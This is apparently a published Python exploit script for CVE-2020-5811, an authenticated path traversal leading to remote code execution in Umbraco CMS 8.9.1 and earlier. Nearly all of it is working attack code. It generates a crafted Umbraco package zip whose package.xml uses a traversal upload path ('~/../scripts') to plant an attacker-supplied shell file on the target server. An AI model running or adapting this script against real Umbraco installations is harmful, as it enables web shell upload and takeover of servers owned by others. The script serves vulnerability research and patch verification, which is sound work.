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August 31, 2021 16:46
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# Exploit Title: Umbraco CMS <= 8.9.1 - Authenticated path traversal (RCE) | |
# Exploit Research: https://www.tenable.com/security/research/tra-2020-59 | |
# Vendor Homepage: https://umbraco.com/ | |
# Version: <= 8.9.1 | |
# CVE : CVE-2020-5811 | |
import string | |
import random | |
import argparse | |
import zipfile | |
import os | |
package_xml = f"""<?xml version="1.0" encoding="utf-8"?> | |
<umbPackage> | |
<files> | |
<file> | |
<guid>{{filename}}</guid> | |
<orgPath>{{upload_path}}</orgPath> | |
<orgName>{{filename}}</orgName> | |
</file> | |
</files> | |
<info> | |
<package> | |
<name>PoC-{''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))}</name> | |
<version>1.0.0</version> | |
<iconUrl></iconUrl> | |
<license url="http://opensource.org/licenses/MIT">MIT License</license> | |
<url>https://example.com</url> | |
<requirements> | |
<major>0</major> | |
<minor>0</minor> | |
<patch>0</patch> | |
</requirements> | |
</package> | |
<author> | |
<name>CVE-2020-5811</name> | |
<website>https://example.com</website> | |
</author> | |
<contributors> | |
<contributor></contributor> | |
</contributors> | |
<readme><![CDATA[]]></readme> | |
</info> | |
<DocumentTypes /> | |
<Templates /> | |
<Stylesheets /> | |
<Macros /> | |
<DictionaryItems /> | |
<Languages /> | |
<DataTypes /> | |
<Actions /> | |
</umbPackage> | |
""" | |
parser = argparse.ArgumentParser(description='CVE-2020-5811') | |
parser.add_argument('--shell', type=str, help='Shell file to upload', required=True) | |
parser.add_argument('--upload-path', type=str, help='Shell file update path on target server (default=~/../scripts)', default='~/../scripts') | |
args = parser.parse_args() | |
if not os.path.isfile(args.shell): | |
print("[ERROR] please use a correct path for the shell file.") | |
output_file = "exploit.zip" | |
package = zipfile.ZipFile(output_file, 'w') | |
package.writestr('package.xml', package_xml.format(filename=os.path.basename(args.shell), upload_path=args.upload_path)) | |
package.writestr(os.path.basename(args.shell), open(args.shell, 'r').read()) | |
package.close() | |
print(f"[DONE] Created Umbraco package: {output_file}") |
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